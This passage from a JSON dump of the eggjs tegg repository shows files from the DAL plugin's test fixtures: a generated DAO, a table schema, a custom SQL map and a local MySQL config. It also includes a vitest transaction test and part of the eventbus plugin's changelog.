  data.$multipointColumn = tmp;\n    }\n\n    tmp = raw.multiLineStringColumn;\n    if (tmp !== undefined) {\n      data.$multiLineStringColumn = tmp;\n    }\n\n    tmp = raw.multiPolygonColumn;\n    if (tmp !== undefined) {\n      data.$multiPolygonColumn = tmp;\n    }\n\n    tmp = raw.geometryCollectionColumn;\n    if (tmp !== undefined) {\n      data.$geometryCollectionColumn = tmp;\n    }\n\n    tmp = raw.jsonColumn;\n    if (tmp !== undefined) {\n      data.$jsonColumn = tmp;\n    }\n\n    return this.dataSource.executeRawScalar('insert', data);\n  }\n\n  public async update(id: ColumnTsType['INT'], data: Partial<Foo>): Promise<UpdateResult> {\n    const newData: Record<string, any> = {\n      primary: {\n        id,\n      },\n    };\n    let tmp;\n\n    tmp = data.id;\n    if (tmp !== undefined) {\n      newData.$id = tmp;\n    }\n\n    tmp = data.name;\n    if (tmp !== undefined) {\n      newData.$name = tmp;\n    }\n\n    tmp = data.col1;\n    if (tmp !== undefined) {\n      newData.$col1 = tmp;\n    }\n\n    tmp = data.bitColumn;\n    if (tmp !== undefined) {\n      newData.$bitColumn = tmp;\n    }\n\n    tmp = data.boolColumn;\n    if (tmp !== undefined) {\n      newData.$boolColumn = tmp;\n    }\n\n    tmp = data.tinyIntColumn;\n    if (tmp !== undefined) {\n      newData.$tinyIntColumn = tmp;\n    }\n\n    tmp = data.smallIntColumn;\n    if (tmp !== undefined) {\n      newData.$smallIntColumn = tmp;\n    }\n\n    tmp = data.mediumIntColumn;\n    if (tmp !== undefined) {\n      newData.$mediumIntColumn = tmp;\n    }\n\n    tmp = data.intColumn;\n    if (tmp !== undefined) {\n      newData.$intColumn = tmp;\n    }\n\n    tmp = data.bigIntColumn;\n    if (tmp !== undefined) {\n      newData.$bigIntColumn = tmp;\n    }\n\n    tmp = data.decimalColumn;\n    if (tmp !== undefined) {\n      newData.$decimalColumn = tmp;\n    }\n\n    tmp = data.floatColumn;\n    if (tmp !== undefined) {\n      newData.$floatColumn = tmp;\n    }\n\n    tmp = data.doubleColumn;\n    if (tmp !== undefined) {\n      newData.$doubleColumn = tmp;\n    }\n\n    tmp = data.dateColumn;\n    if (tmp !== undefined) {\n      newData.$dateColumn = tmp;\n    }\n\n    tmp = data.dateTimeColumn;\n    if (tmp !== undefined) {\n      newData.$dateTimeColumn = tmp;\n    }\n\n    tmp = data.timestampColumn;\n    if (tmp !== undefined) {\n      newData.$timestampColumn = tmp;\n    }\n\n    tmp = data.timeColumn;\n    if (tmp !== undefined) {\n      newData.$timeColumn = tmp;\n    }\n\n    tmp = data.yearColumn;\n    if (tmp !== undefined) {\n      newData.$yearColumn = tmp;\n    }\n\n    tmp = data.varCharColumn;\n    if (tmp !== undefined) {\n      newData.$varCharColumn = tmp;\n    }\n\n    tmp = data.binaryColumn;\n    if (tmp !== undefined) {\n      newData.$binaryColumn = tmp;\n    }\n\n    tmp = data.varBinaryColumn;\n    if (tmp !== undefined) {\n      newData.$varBinaryColumn = tmp;\n    }\n\n    tmp = data.tinyBlobColumn;\n    if (tmp !== undefined) {\n      newData.$tinyBlobColumn = tmp;\n    }\n\n    tmp = data.tinyTextColumn;\n    if (tmp !== undefined) {\n      newData.$tinyTextColumn = tmp;\n    }\n\n    tmp = data.blobColumn;\n    if (tmp !== undefined) {\n      newData.$blobColumn = tmp;\n    }\n\n    tmp = data.textColumn;\n    if (tmp !== undefined) {\n      newData.$textColumn = tmp;\n    }\n\n    tmp = data.mediumBlobColumn;\n    if (tmp !== undefined) {\n      newData.$mediumBlobColumn = tmp;\n    }\n\n    tmp = data.longBlobColumn;\n    if (tmp !== undefined) {\n      newData.$longBlobColumn = tmp;\n    }\n\n    tmp = data.mediumTextColumn;\n    if (tmp !== undefined) {\n      newData.$mediumTextColumn = tmp;\n    }\n\n    tmp = data.longTextColumn;\n    if (tmp !== undefined) {\n      newData.$longTextColumn = tmp;\n    }\n\n    tmp = data.enumColumn;\n    if (tmp !== undefined) {\n      newData.$enumColumn = tmp;\n    }\n\n    tmp = data.setColumn;\n    if (tmp !== undefined) {\n      newData.$setColumn = tmp;\n    }\n\n    tmp = data.geometryColumn;\n    if (tmp !== undefined) {\n      newData.$geometryColumn = tmp;\n    }\n\n    tmp = data.pointColumn;\n    if (tmp !== undefined) {\n      newData.$pointColumn = tmp;\n    }\n\n    tmp = data.lineStringColumn;\n    if (tmp !== undefined) {\n      newData.$lineStringColumn = tmp;\n    }\n\n    tmp = data.polygonColumn;\n    if (tmp !== undefined) {\n      newData.$polygonColumn = tmp;\n    }\n\n    tmp = data.multipointColumn;\n    if (tmp !== undefined) {\n      newData.$multipointColumn = tmp;\n    }\n\n    tmp = data.multiLineStringColumn;\n    if (tmp !== undefined) {\n      newData.$multiLineStringColumn = tmp;\n    }\n\n    tmp = data.multiPolygonColumn;\n    if (tmp !== undefined) {\n      newData.$multiPolygonColumn = tmp;\n    }\n\n    tmp = data.geometryCollectionColumn;\n    if (tmp !== undefined) {\n      newData.$geometryCollectionColumn = tmp;\n    }\n\n    tmp = data.jsonColumn;\n    if (tmp !== undefined) {\n      newData.$jsonColumn = tmp;\n    }\n\n    return this.dataSource.executeRawScalar('update', newData);\n  }\n\n  public async delete(id: ColumnTsType['INT']): Promise<DeleteResult> {\n    return this.dataSource.executeRawScalar('delete', {\n      id,\n    });\n  }\n\n  public async del(id: ColumnTsType['INT']): Promise<DeleteResult> {\n    return this.dataSource.executeRawScalar('delete', {\n      id,\n    });\n  }\n\n  public async findByCol1($col1: ColumnTsType['VARCHAR']): Promise<Foo[]> {\n    return this.dataSource.execute('findByCol1', {\n      $col1,\n    });\n  }\n\n  public async findOneByCol1($col1: ColumnTsType['VARCHAR']): Promise<Foo | null> {\n    return this.dataSource.executeScalar('findOneByCol1', {\n      $col1,\n    });\n  }\n\n  public async findByUkNameCol1($name: ColumnTsType['VARCHAR'], $col1: ColumnTsType['VARCHAR']): Promise<Foo[]> {\n    return this.dataSource.execute('findByUkNameCol1', {\n      $name,\n      $col1,\n    });\n  }\n\n  public async findOneByUkNameCol1(\n    $name: ColumnTsType['VARCHAR'],\n    $col1: ColumnTsType['VARCHAR'],\n  ): Promise<Foo | null> {\n    return this.dataSource.executeScalar('findOneByUkNameCol1', {\n      $name,\n      $col1,\n    });\n  }\n\n  public async findById($id: ColumnTsType['INT']): Promise<Foo | null> {\n    return this.dataSource.executeScalar('findById', {\n      $id,\n    });\n  }\n\n  public async findByPrimary($id: ColumnTsType['INT']): Promise<Foo | null> {\n    return this.dataSource.executeScalar('findById', {\n      $id,\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/dal/test/fixtures/apps/dal-app/modules/dal/dal/extension/FooExtension.ts",
    "content": "import { type SqlMap } from '@eggjs/tegg/dal';\n\n/**\n * Define Custom SQLs\n *\n * import { type SqlMap, SqlType } from '@eggjs/tegg/dal';\n *\n * export default {\n *   findByName: {\n *     type: SqlType.SELECT,\n *     sql: 'SELECT {{ allColumns }} from foo where name = {{ name }}'\n *   },\n * }\n */\nexport default {\n  findByName: {\n    type: 'SELECT',\n    sql: 'SELECT {{ allColumns }} FROM egg_foo WHERE name = {{ name }}',\n  },\n} as Record<string, SqlMap>;\n"
  },
  {
    "path": "tegg/plugin/dal/test/fixtures/apps/dal-app/modules/dal/dal/structure/Foo.json",
    "content": "{\n  \"name\": \"egg_foo\",\n  \"dataSourceName\": \"default\",\n  \"columns\": [\n    {\n      \"columnName\": \"id\",\n      \"propertyName\": \"id\",\n      \"type\": {\n        \"type\": \"INT\"\n      },\n      \"canNull\": false,\n      \"comment\": \"the primary key\",\n      \"autoIncrement\": true,\n      \"primaryKey\": true\n    },\n    {\n      \"columnName\": \"name\",\n      \"propertyName\": \"name\",\n      \"type\": {\n        \"type\": \"VARCHAR\",\n        \"length\": 100\n      },\n      \"canNull\": true,\n      \"uniqueKey\": true\n    },\n    {\n      \"columnName\": \"col1\",\n      \"propertyName\": \"col1\",\n      \"type\": {\n        \"type\": \"VARCHAR\",\n        \"length\": 100\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"bit_column\",\n      \"propertyName\": \"bitColumn\",\n      \"type\": {\n        \"type\": \"BIT\",\n        \"length\": 10\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"bool_column\",\n      \"propertyName\": \"boolColumn\",\n      \"type\": {\n        \"type\": \"BOOL\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"tiny_int_column\",\n      \"propertyName\": \"tinyIntColumn\",\n      \"type\": {\n        \"type\": \"TINYINT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"small_int_column\",\n      \"propertyName\": \"smallIntColumn\",\n      \"type\": {\n        \"type\": \"SMALLINT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"medium_int_column\",\n      \"propertyName\": \"mediumIntColumn\",\n      \"type\": {\n        \"type\": \"MEDIUMINT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"int_column\",\n      \"propertyName\": \"intColumn\",\n      \"type\": {\n        \"type\": \"INT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"big_int_column\",\n      \"propertyName\": \"bigIntColumn\",\n      \"type\": {\n        \"type\": \"BIGINT\",\n        \"length\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"decimal_column\",\n      \"propertyName\": \"decimalColumn\",\n      \"type\": {\n        \"type\": \"DECIMAL\",\n        \"length\": 10,\n        \"fractionalLength\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"float_column\",\n      \"propertyName\": \"floatColumn\",\n      \"type\": {\n        \"type\": \"FLOAT\",\n        \"length\": 10,\n        \"fractionalLength\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"double_column\",\n      \"propertyName\": \"doubleColumn\",\n      \"type\": {\n        \"type\": \"DOUBLE\",\n        \"length\": 10,\n        \"fractionalLength\": 5,\n        \"unsigned\": true,\n        \"zeroFill\": true\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"date_column\",\n      \"propertyName\": \"dateColumn\",\n      \"type\": {\n        \"type\": \"DATE\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"date_time_column\",\n      \"propertyName\": \"dateTimeColumn\",\n      \"type\": {\n        \"type\": \"DATETIME\",\n        \"precision\": 3\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"timestamp_column\",\n      \"propertyName\": \"timestampColumn\",\n      \"type\": {\n        \"type\": \"TIMESTAMP\",\n        \"precision\": 3\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"time_column\",\n      \"propertyName\": \"timeColumn\",\n      \"type\": {\n        \"type\": \"TIME\",\n        \"precision\": 3\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"year_column\",\n      \"propertyName\": \"yearColumn\",\n      \"type\": {\n        \"type\": \"YEAR\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"var_char_column\",\n      \"propertyName\": \"varCharColumn\",\n      \"type\": {\n        \"type\": \"VARCHAR\",\n        \"length\": 100,\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"binary_column\",\n      \"propertyName\": \"binaryColumn\",\n      \"type\": {\n        \"type\": \"BINARY\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"var_binary_column\",\n      \"propertyName\": \"varBinaryColumn\",\n      \"type\": {\n        \"type\": \"VARBINARY\",\n        \"length\": 100\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"tiny_blob_column\",\n      \"propertyName\": \"tinyBlobColumn\",\n      \"type\": {\n        \"type\": \"TINYBLOB\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"tiny_text_column\",\n      \"propertyName\": \"tinyTextColumn\",\n      \"type\": {\n        \"type\": \"TINYTEXT\",\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"blob_column\",\n      \"propertyName\": \"blobColumn\",\n      \"type\": {\n        \"type\": \"BLOB\",\n        \"length\": 100\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"text_column\",\n      \"propertyName\": \"textColumn\",\n      \"type\": {\n        \"type\": \"TEXT\",\n        \"length\": 100,\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"medium_blob_column\",\n      \"propertyName\": \"mediumBlobColumn\",\n      \"type\": {\n        \"type\": \"MEDIUMBLOB\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"long_blob_column\",\n      \"propertyName\": \"longBlobColumn\",\n      \"type\": {\n        \"type\": \"LONGBLOB\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"medium_text_column\",\n      \"propertyName\": \"mediumTextColumn\",\n      \"type\": {\n        \"type\": \"MEDIUMTEXT\",\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"long_text_column\",\n      \"propertyName\": \"longTextColumn\",\n      \"type\": {\n        \"type\": \"LONGTEXT\",\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"enum_column\",\n      \"propertyName\": \"enumColumn\",\n      \"type\": {\n        \"type\": \"ENUM\",\n        \"enums\": [\"A\", \"B\"],\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"set_column\",\n      \"propertyName\": \"setColumn\",\n      \"type\": {\n        \"type\": \"SET\",\n        \"enums\": [\"A\", \"B\"],\n        \"characterSet\": \"utf8mb4\",\n        \"collate\": \"utf8mb4_unicode_ci\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"geometry_column\",\n      \"propertyName\": \"geometryColumn\",\n      \"type\": {\n        \"type\": \"GEOMETRY\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"point_column\",\n      \"propertyName\": \"pointColumn\",\n      \"type\": {\n        \"type\": \"POINT\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"line_string_column\",\n      \"propertyName\": \"lineStringColumn\",\n      \"type\": {\n        \"type\": \"LINESTRING\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"polygon_column\",\n      \"propertyName\": \"polygonColumn\",\n      \"type\": {\n        \"type\": \"POLYGON\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"multipoint_column\",\n      \"propertyName\": \"multipointColumn\",\n      \"type\": {\n        \"type\": \"MULTIPOINT\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"multi_line_string_column\",\n      \"propertyName\": \"multiLineStringColumn\",\n      \"type\": {\n        \"type\": \"MULTILINESTRING\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"multi_polygon_column\",\n      \"propertyName\": \"multiPolygonColumn\",\n      \"type\": {\n        \"type\": \"MULTIPOLYGON\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"geometry_collection_column\",\n      \"propertyName\": \"geometryCollectionColumn\",\n      \"type\": {\n        \"type\": \"GEOMETRYCOLLECTION\"\n      },\n      \"canNull\": true\n    },\n    {\n      \"columnName\": \"json_column\",\n      \"propertyName\": \"jsonColumn\",\n      \"type\": {\n        \"type\": \"JSON\"\n      },\n      \"canNull\": true\n    }\n  ],\n  \"indices\": [\n    {\n      \"name\": \"idx_col1\",\n      \"keys\": [\n        {\n          \"propertyName\": \"col1\",\n          \"columnName\": \"col1\"\n        }\n      ],\n      \"type\": \"FULLTEXT\",\n      \"comment\": \"index comment\\n\"\n    },\n    {\n      \"name\": \"uk_name_col1\",\n      \"keys\": [\n        {\n          \"propertyName\": \"name\",\n          \"columnName\": \"name\"\n        },\n        {\n          \"propertyName\": \"col1\",\n          \"columnName\": \"col1\"\n        }\n      ],\n      \"type\": \"UNIQUE\",\n      \"storeType\": \"BTREE\",\n      \"comment\": \"index comment\\n\"\n    }\n  ],\n  \"comment\": \"foo table\",\n  \"characterSet\": \"utf8mb4\",\n  \"collate\": \"utf8mb4_unicode_ci\"\n}\n"
  },
  {
    "path": "tegg/plugin/dal/test/fixtures/apps/dal-app/modules/dal/dal/structure/Foo.sql",
    "content": "CREATE TABLE IF NOT EXISTS egg_foo (\n  id INT NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT 'the primary key',\n  name VARCHAR(100) NULL UNIQUE KEY,\n  col1 VARCHAR(100) NULL,\n  bit_column BIT(10) NULL,\n  bool_column BOOL NULL,\n  tiny_int_column TINYINT(5) UNSIGNED ZEROFILL NULL,\n  small_int_column SMALLINT(5) UNSIGNED ZEROFILL NULL,\n  medium_int_column MEDIUMINT(5) UNSIGNED ZEROFILL NULL,\n  int_column INT(5) UNSIGNED ZEROFILL NULL,\n  big_int_column BIGINT(5) UNSIGNED ZEROFILL NULL,\n  decimal_column DECIMAL(10,5) UNSIGNED ZEROFILL NULL,\n  float_column FLOAT(10,5) UNSIGNED ZEROFILL NULL,\n  double_column DOUBLE(10,5) UNSIGNED ZEROFILL NULL,\n  date_column DATE NULL,\n  date_time_column DATETIME(3) NULL,\n  timestamp_column TIMESTAMP(3) NULL,\n  time_column TIME(3) NULL,\n  year_column YEAR NULL,\n  var_char_column VARCHAR(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  binary_column BINARY NULL,\n  var_binary_column VARBINARY(100) NULL,\n  tiny_blob_column TINYBLOB NULL,\n  tiny_text_column TINYTEXT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  blob_column BLOB(100) NULL,\n  text_column TEXT(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  medium_blob_column MEDIUMBLOB NULL,\n  long_blob_column LONGBLOB NULL,\n  medium_text_column MEDIUMTEXT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  long_text_column LONGTEXT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  enum_column ENUM('A','B') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  set_column SET('A','B') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL,\n  geometry_column GEOMETRY NULL,\n  point_column POINT NULL,\n  line_string_column LINESTRING NULL,\n  polygon_column POLYGON NULL,\n  multipoint_column MULTIPOINT NULL,\n  multi_line_string_column MULTILINESTRING NULL,\n  multi_polygon_column MULTIPOLYGON NULL,\n  geometry_collection_column GEOMETRYCOLLECTION NULL,\n  json_column JSON NULL,\n  FULLTEXT KEY idx_col1 (col1) COMMENT 'index comment\\n',\n  UNIQUE KEY uk_name_col1 (name,col1) USING BTREE COMMENT 'index comment\\n'\n) DEFAULT CHARACTER SET utf8mb4, DEFAULT COLLATE utf8mb4_unicode_ci, COMMENT='foo table';"
  },
  {
    "path": "tegg/plugin/dal/test/fixtures/apps/dal-app/modules/dal/module.yml",
    "content": "dataSource:\n  foo:\n    connectionLimit: 100\n    database: 'test_dal_plugin'\n    host: '127.0.0.1'\n    user: root\n    port: 3306\n    timezone: '+08:00'\n    forkDb: true\n"
  },
  {
    "path": "tegg/plugin/dal/test/fixtures/apps/dal-app/modules/dal/package.json",
    "content": "{\n  \"name\": \"dal\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"dal\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/dal/test/fixtures/apps/dal-app/package.json",
    "content": "{\n  \"name\": \"dal-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/dal/test/transaction.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, afterEach, beforeAll, afterAll, it, expect } from 'vitest';\n\nimport { MysqlDataSourceManager } from '../src/lib/MysqlDataSourceManager.ts';\nimport FooDAO from './fixtures/apps/dal-app/modules/dal/dal/dao/FooDAO.ts';\nimport { FooService } from './fixtures/apps/dal-app/modules/dal/FooService.ts';\nimport { getFixtures } from './utils.ts';\n\ndescribe('plugin/dal/test/transaction.test.ts', () => {\n  let app: MockApplication;\n\n  afterEach(async () => {\n    return mm.restore();\n  });\n\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/dal-app'),\n    });\n    await app.ready();\n  });\n\n  afterEach(async () => {\n    const dataSource = MysqlDataSourceManager.instance.get('dal', 'foo')!;\n    await dataSource.query('delete from egg_foo;');\n  });\n\n  afterAll(() => {\n    return app.close();\n  });\n\n  describe('succeed transaction', () => {\n    it('should commit', async () => {\n      await app.mockModuleContextScope(async () => {\n        const fooService = await app.getEggObject(FooService);\n        const fooDao = await app.getEggObject(FooDAO);\n        await fooService.succeedTransaction();\n        const foo1 = await fooDao.findByName('insert_succeed_transaction_1');\n        const foo2 = await fooDao.findByName('insert_succeed_transaction_2');\n        expect(foo1.length).toBe(1);\n        expect(foo2.length).toBe(1);\n      });\n    });\n  });\n\n  describe('failed transaction', () => {\n    it('should rollback', async () => {\n      await app.mockModuleContextScope(async () => {\n        const fooService = await app.getEggObject(FooService);\n        const fooDao = await app.getEggObject(FooDAO);\n        await expect(async () => {\n          await fooService.failedTransaction();\n        }).rejects.toThrow(/mock error/);\n        const foo1 = await fooDao.findByName('insert_failed_transaction_1');\n        const foo2 = await fooDao.findByName('insert_failed_transaction_2');\n        expect(foo1.length).toBe(0);\n        expect(foo2.length).toBe(0);\n      });\n    });\n  });\n\n  describe('transaction should be isolated', () => {\n    it('should rollback', async () => {\n      await app.mockModuleContextScope(async () => {\n        const fooService = await app.getEggObject(FooService);\n        const fooDao = await app.getEggObject(FooDAO);\n        const [failedRes, succeedRes] = await Promise.allSettled([\n          fooService.failedTransaction(),\n          fooService.succeedTransaction(),\n        ]);\n        expect(failedRes.status).toBe('rejected');\n        expect(succeedRes.status).toBe('fulfilled');\n        const foo1 = await fooDao.findByName('insert_failed_transaction_1');\n        const foo2 = await fooDao.findByName('insert_failed_transaction_2');\n        expect(foo1.length).toBe(0);\n        expect(foo2.length).toBe(0);\n\n        const foo3 = await fooDao.findByName('insert_succeed_transaction_1');\n        const foo4 = await fooDao.findByName('insert_succeed_transaction_2');\n        expect(foo3.length).toBe(1);\n        expect(foo4.length).toBe(1);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/dal/test/utils.ts",
    "content": "import path from 'node:path';\n\nexport function getFixtures(name: string): string {\n  return path.join(import.meta.dirname, 'fixtures', name);\n}\n"
  },
  {
    "path": "tegg/plugin/dal/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/plugin/eventbus/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-eventbus-plugin\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package 